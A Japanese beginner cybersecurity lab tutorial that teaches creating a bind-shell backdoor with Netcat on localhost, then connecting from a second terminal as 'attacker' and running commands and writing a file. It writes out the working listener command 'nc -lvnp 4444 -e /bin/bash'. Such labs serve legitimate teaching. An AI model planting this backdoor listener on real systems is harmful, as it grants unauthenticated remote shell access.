Netcat でバックドアを構築する

LinuxBeginner
オンラインで実践に進む

はじめに

この実験 (Lab) では、多機能なネットワークユーティリティである Netcat を使用して、基本的なバックドアを作成する方法を学びます。バックドアとは、通常の認証を回避してコンピューターへのリモートアクセスを可能にする手法です。この実験では、シミュレートされた「被害者」マシンでリスナーを設定し、シミュレートされた「攻撃者」マシンからそれに接続してリモートでコマンドを実行する練習を行います。この実験は、サイバーセキュリティで使用される基本的なネットワーク概念を実証し、攻撃手法と防御意識の両方についての洞察を提供します。

これは Guided Lab です。学習と実践を支援するためのステップバイステップの指示を提供します。各ステップを完了し、実践的な経験を積むために、指示に注意深く従ってください。過去のデータによると、この 初級 レベルの実験の完了率は 97%です。学習者から 100% の好評価を得ています。

Netcat の理解

Netcat (または nc) は、TCP または UDP を使用してネットワーク接続の読み書きを行うためのコマンドラインユーティリティです。その汎用性から、「TCP/IP のスイスアーミーナイフ」と呼ばれることもあります。この実験 (Lab) では、セットアップスクリプトによって、目的に適したバージョンの Netcat が既にインストールされています。

まず、Netcat がインストールされていることを確認し、ヘルプメニューを表示して、利用可能なオプションを確認しましょう。

ターミナルで以下のコマンドを実行してください。

nc -h

コマンドオプションのリストが表示されるはずです。出力は以下のようなものになります(バージョンによって異なる場合があります)。

[v1.10-41]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [-options] [hostname] [port]
options:
 -c shell commands as `-e'; use /bin/sh to exec [dangerous!!]
 -e filename  program to exec after connect [dangerous!!]
 -b   allow broadcasts
...

-e オプションと -c オプションに特に注意してください。出力では、これらが明確に「危険 (dangerous)」とマークされています。これは、これらのオプションを使用すると、コマンドシェルなどのプログラムを実行し、それをネットワークポートに接続できるためです。これは、まさに私たちがバックドアを作成するために使用する機能です。ツールの機能がなぜ危険と見なされるのかを理解することは、サイバーセキュリティを学ぶ上で重要な部分です。

バックドアリスナーの作成

このステップでは、1 つのターミナルを「被害者」マシンとして設定します。このマシンは、着信接続を待機する Netcat リスナーを実行します。接続が行われると、接続してきたユーザーにコマンドシェルが付与され、実質的にバックドアが作成されます。

この実験ではポート 4444 を使用します。ポートは、マシン上の異なるサービスがネットワーク経由でアクセスできるようにする通信エンドポイントです。

現在のターミナルで、以下のコマンドを実行してリスナーを開始します。

nc -lvnp 4444 -e /bin/bash

このコマンドを分解してみましょう。

  • -l: Netcat をリスンモードにし、着信接続を待ち受けます。
  • -v: 詳細表示モードを有効にし、接続に関する詳細情報を提供します。
  • -n: Netcat にホスト名を解決する代わりに数値 IP アドレスを使用するように指示します。これにより、処理が速くなる場合があります。
  • -p 4444: リスニングするポートを指定します。この場合はポート 4444 です。
  • -e /bin/bash: これが最も重要な部分です。クライアントが接続するとすぐに、/bin/bash プログラム(Bash シェル)を実行し、その入出力をネットワークソケットに接続するように Netcat に指示します。

コマンドを実行すると、ターミナルにリスニング中であることを示すメッセージが表示され、その後ハングしたように見えます。これは正常です。現在、接続を待機しています。

listening on [any] 4444 ...

このターミナルは閉じないでください。これは 被害者ターミナル と呼びます。次のステップのために、新しいターミナルを開く必要があります。

バックドアへの接続

次に、「攻撃者」の役割を担います。新しいターミナルを開き、Netcat を使用して前のステップで開始したリスナーに接続します。この実験では「被害者」と「攻撃者」は同じマシン上にあるため、localhost の IP アドレスである 127.0.0.1 に接続します。

まず、新しいターミナルを開きます。ターミナル領域を右クリックして「新しいタブ」を選択するか、ショートカット Ctrl+Shift+T を使用して行うことができます。この新しいターミナルを 攻撃者ターミナル と呼びます。

新しい 攻撃者ターミナル で、以下のコマンドを実行してリスナーに接続します。

nc 127.0.0.1 4444

このコマンドを実行すると、被害者ターミナル に接続メッセージが表示されます。

connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 33333

(ポート番号 33333 はランダムな高位ポートになります)

あなたの 攻撃者ターミナル には、プロンプトはありませんが、カーソルが点滅しているはずです。これは、あなたが現在 被害者ターミナル で実行されている Bash シェルの中にいるためです。リモートシェルを正常に確立しました。ここで入力するコマンドはすべて「被害者」マシンで実行されます。

リモートコマンドの実行

これでリモートシェルが利用可能になりました。攻撃者ターミナル からいくつかのコマンドを実行してテストしてみましょう。これらのコマンドは、被害者ターミナル のコンテキスト内で実行されます。

攻撃者ターミナル で、以下のコマンドを入力して Enter キーを押します。

whoami

出力は labex となり、これは被害者シェルのユーザーアカウントです。

labex

次に、リモートシェルの現在の作業ディレクトリを確認しましょう。

pwd

出力は labex ユーザーのホームディレクトリを示します。

/home/labex/project

制御できていることを証明するために、「被害者」システム上にファイルを作成してみましょう。攻撃者ターミナル でこのコマンドを実行します。

echo "Backdoor was here" > /tmp/proof.txt

このコマンドは、/tmp ディレクトリに proof.txt という名前のファイルを作成し、その中にテキストを書き込みます。出力は表示されません。

では、ファイルが作成されたことを確認しましょう。攻撃者ターミナル で、ファイルのコンテンツを読み取ります。

cat /tmp/proof.txt

先ほど書き込んだテキストが表示されるはずです。

Backdoor was here

Remote command execution successful

リモートでコマンドを実行し、被害者のファイルシステムを変更することに成功しました。セッションを終了するには、攻撃者ターミナルCtrl+C を押します。これにより接続が閉じられ、被害者ターミナル の Netcat リスナープロセスも終了します。

まとめ

この実験では、Netcat を使用してシンプルなバックドアを作成し、操作する方法を学びました。コマンドシェルを提供するために、-l-p-e フラグを使用して「被害者」マシンでリスナーを設定する練習をしました。その後、「攻撃者」として別のターミナルからこのリスナーに接続し、リモートでコマンドを実行しました。

この演習は、Netcat の強力でありながら危険な機能を示しています。このようなツールが不正アクセスにどのように使用されるかを理解することは、サイバーセキュリティにおける基本的なスキルであり、同様の現実世界の攻撃をより良く認識し、防止し、防御するのに役立ちます。